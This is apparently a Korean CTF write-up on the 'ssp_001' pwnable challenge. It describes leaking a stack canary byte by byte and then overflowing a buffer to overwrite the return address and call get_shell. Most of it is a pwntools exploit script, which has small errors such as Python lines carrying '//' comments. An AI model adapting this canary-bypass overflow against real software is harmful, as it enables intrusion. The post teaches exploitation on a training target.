BOF가 터지는 부분에 대해서 조금씩 보다가 print_box 함수를 통해 canary값을 가져올 수 있을것이라 판단했다.
또한, box, name, select 버퍼가 있기 때문에 마지막 case 'E' 선택 후 name 버퍼를 채워주어서 ret를 변조해 get_shell()을 불러오면 될거라 생각했다.
gdb를 사용해 canary 위치를 확인해보니 [ebp-0x08] 인것을 확인할 수 있다. 그러면 box 시작부분부터 canary가 얼마나 떨어져 있는지 확인해서 idx를 통해 한바이트씩 출력시켜서 canary 값을 확인할 수 있다.
lea eax, [ebp-0x88]을 통해서 box의 시작부분이 ebp-0x88부터 인것을 알 수 있음
buf 시작주소: 0xffffcf80
canary 시작주소: 0xfffffd000
거리차이: 0x80 (10진수: 128)
dummy가 있는거 같은데, canary 밑에 4byte는 왜 생기는건지 의문이다.
from pwn import *
context.log_level = "debug"
p = process("./ssp_001")
elf = ELF("./ssp_001")
get_shell = elf.symbols["get_shell"]
cananry = b""
for i in range(131, 127, -1):
p.sendafter("> ", "P")
p.sendline(str(i))
cananry += p.recvline()[-3:-1]
payload_ = b"A" * 0x40
p.sendafter("> ", "F")
p.sendafter("box input : ", payload_)
canary = p32(int(cananry, 16))
print("canary: ", canary)
p.sendafter("> ", "E")
p.sendlineafter("Name Size : ", "80")
payload = b"A" * 0x40
payload += canary
payload += b"A" * 0x4 //dummy buffer
payload += b"A" * 0x4 //sfp
payload += p32(get_shell)
p.sendafter("Name : ", payload)
p.interactive()
'시스템 해킹 > pwnable' 카테고리의 다른 글
[pwnable.kr] passcode (0) | 2024.05.09 |
---|---|
[pwnable.kr] dragon (0) | 2023.07.07 |
[pwnable.kr] Collision (0) | 2023.05.21 |
[pwnable.kr] fd (0) | 2023.05.21 |
[DreamHack] oob1 (0) | 2023.05.21 |